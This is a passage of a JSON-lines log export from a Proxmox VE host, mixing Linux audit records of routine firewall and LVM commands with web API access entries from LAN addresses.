a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781966125329,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966125.329:68535): arch=c000003e syscall=59 success=no exit=-2 a0=7ffeb9483650 a1=598043ba4310 a2=598043b9d680 a3=5 items=1 ppid=65814 pid=65815 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965914747,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965914.747:67633): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64949 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964491607,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:08:11 +0100] \"GET /pwt/images/spinner.svg HTTP/1.1\" 200 393"} {"@timestamp":1781966285607,"@rawstring":"node=pve type=EXECVE msg=audit(1781966285.607:69182): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964624629,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:10:23 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1091"} {"@timestamp":1781964255310,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964255.310:60255): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57858 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965612008,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:26:51 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1095"} {"@timestamp":1781966275547,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966275.547:69156): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66401 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964654421,"@rawstring":"node=pve type=EXECVE msg=audit(1781964654.421:61976): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781966120477,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966120.477:68525): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65804 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965914747,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965914.747:67632): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64949 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964485651,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:08:04 +0100] \"GET /api2/json/access/domains HTTP/1.1\" 200 202"} {"@timestamp":1781966285601,"@rawstring":"node=pve type=EXECVE msg=audit(1781966285.601:69181): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964624629,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:10:23 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 843"} {"@timestamp":1781964255302,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964255.302:60254): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57857 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965612008,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:26:50 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 512"} {"@timestamp":1781966275538,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966275.538:69155): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66400 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964653004,"@rawstring":"node=pve type=EXECVE msg=audit(1781964653.004:61973): argc=3 a0=\"/usr/sbin/unix_chkpwd\" a1=\"root\" a2=\"nullok\""} {"@timestamp":1781966120477,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966120.477:68524): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65804 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965914740,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965914.740:67630): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64948 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964484641,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:08:03 +0100] \"GET /pve2/ext6/theme-crisp/resources/theme-crisp-all_2.css HTTP/1.1\" 200 6217"} {"@timestamp":1781966284251,"@rawstring":"node=pve type=EXECVE msg=audit(1781966284.251:69180): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964623622,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:10:22 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 470"} {"@timestamp":1781964255295,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964255.295:60253): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57856 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965612008,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:50 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1107"} {"@timestamp":1781966275533,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966275.533:69154): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66399 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964652967,"@rawstring":"node=pve type=EXECVE msg=audit(1781964652.967:61971): argc=3 a0=\"/usr/sbin/unix_chkpwd\" a1=\"root\" a2=\"nullok\""} {"@timestamp":1781966120468,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966120.468:68522): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65803 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965914740,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965914.740:67629): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64948 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964484641,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:08:03 +0100] \"GET /pve2/ext6/theme-crisp/resources/theme-crisp-all_1.css HTTP/1.1\" 200 32919"} {"@timestamp":1781966284222,"@rawstring":"node=pve type=EXECVE msg=audit(1781966284.222:69179): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964620675,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:10:19 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1091"} {"@timestamp":1781964255288,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964255.288:60252): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57855 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965610767,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:49 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 911"} {"@timestamp":1781966275527,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966275.527:69153): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66398 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964650157,"@rawstring":"node=pve type=EXECVE msg=audit(1781964650.157:61970): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966120468,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966120.468:68521): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65803 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965909729,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965909.729:67627): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64947 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964484641,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:08:03 +0100] \"GET / HTTP/1.1\" 200 939"} {"@timestamp":1781966281048,"@rawstring":"node=pve type=EXECVE msg=audit(1781966281.048:69178): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964619658,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:10:18 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 462"} {"@timestamp":1781964255284,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964255.284:60251): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=64a52ce4f740 items=0 ppid=1156 pid=57854 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965608730,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:26:48 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1095"} {"@timestamp":1781966275518,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966275.518:69152): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66397 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964650149,"@rawstring":"node=pve type=EXECVE msg=audit(1781964650.149:61967): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966115461,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966115.461:68519): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65802 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965909729,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965909.729:67626): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64947 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966281040,"@rawstring":"node=pve type=EXECVE msg=audit(1781966281.040:69175): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964618669,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:10:17 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 844"} {"@timestamp":1781964255282,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964255.282:60250): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0deb10 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57854 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965608730,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:26:47 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 518"} {"@timestamp":1781966275512,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966275.512:69151): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66396 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964648955,"@rawstring":"node=pve type=EXECVE msg=audit(1781964648.955:61962): argc=3 a0=\"/usr/sbin/unix_chkpwd\" a1=\"root\" a2=\"nullok\""} {"@timestamp":1781966115461,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966115.461:68518): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65802 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965909719,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965909.719:67624): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64946 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966276033,"@rawstring":"node=pve type=EXECVE msg=audit(1781966276.033:69172): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964616690,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:10:15 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1091"} {"@timestamp":1781964255277,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964255.277:60249): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0deb70 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57853 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965608730,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:47 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 941"} {"@timestamp":1781966274150,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966274.150:69150): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73b3830 a1=64f8d73c6ae0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=66395 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964648913,"@rawstring":"node=pve type=EXECVE msg=audit(1781964648.913:61960): argc=3 a0=\"/usr/sbin/unix_chkpwd\" a1=\"root\" a2=\"nullok\""} {"@timestamp":1781966115445,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966115.445:68516): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65801 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965909719,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965909.719:67623): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64946 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966276023,"@rawstring":"node=pve type=EXECVE msg=audit(1781966276.023:69169): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964615692,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:10:14 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 470"} {"@timestamp":1781964255271,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964255.271:60248): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0eccb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57852 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965608730,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:47 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 513"} {"@timestamp":1781966274125,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966274.125:69149): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d7409960 a1=64f8d73cac10 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=66394 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964648806,"@rawstring":"node=pve type=EXECVE msg=audit(1781964648.806:61957): argc=3 a0=\"/usr/sbin/unix_chkpwd\" a1=\"root\" a2=\"nullok\""} {"@timestamp":1781966115444,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966115.444:68515): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65801 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965905766,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965905.766:67619): arch=c000003e syscall=59 success=no exit=-2 a0=7fff3355d690 a1=618877f1d410 a2=618877efb680 a3=5 items=1 ppid=64939 pid=64940 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275587,"@rawstring":"node=pve type=EXECVE msg=audit(1781966275.587:69165): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964612653,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:10:11 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1075"} {"@timestamp":1781964255264,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964255.264:60247): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc134f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57851 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965608730,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:47 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781966271016,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966271.016:69148): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66391 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964648758,"@rawstring":"node=pve type=EXECVE msg=audit(1781964648.758:61955): argc=3 a0=\"/usr/sbin/unix_chkpwd\" a1=\"root\" a2=\"nullok\""} {"@timestamp":1781966115257,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966115.257:68511): arch=c000003e syscall=59 success=no exit=-2 a0=7fffdfea1670 a1=62a42d73bd50 a2=62a42d71e680 a3=5 items=1 ppid=65794 pid=65795 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965905668,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965905.668:67601): arch=c000003e syscall=59 success=no exit=-2 a0=7fff739bfc30 a1=5f43ed243310 a2=5f43ed23c680 a3=5 items=1 ppid=64920 pid=64921 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275583,"@rawstring":"node=pve type=EXECVE msg=audit(1781966275.583:69164): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964612653,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:10:11 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 845"} {"@timestamp":1781964255259,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964255.259:60246): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0eccb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57850 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965607727,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:46 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1095"} {"@timestamp":1781966271009,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966271.009:69145): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66390 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964645904,"@rawstring":"node=pve type=EXECVE msg=audit(1781964645.904:61954): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966115162,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966115.162:68493): arch=c000003e syscall=59 success=no exit=-2 a0=7ffccdb2aad0 a1=5b50e8197310 a2=5b50e8190680 a3=5 items=1 ppid=65775 pid=65776 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965904712,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965904.712:67591): arch=c000003e syscall=59 success=no exit=-2 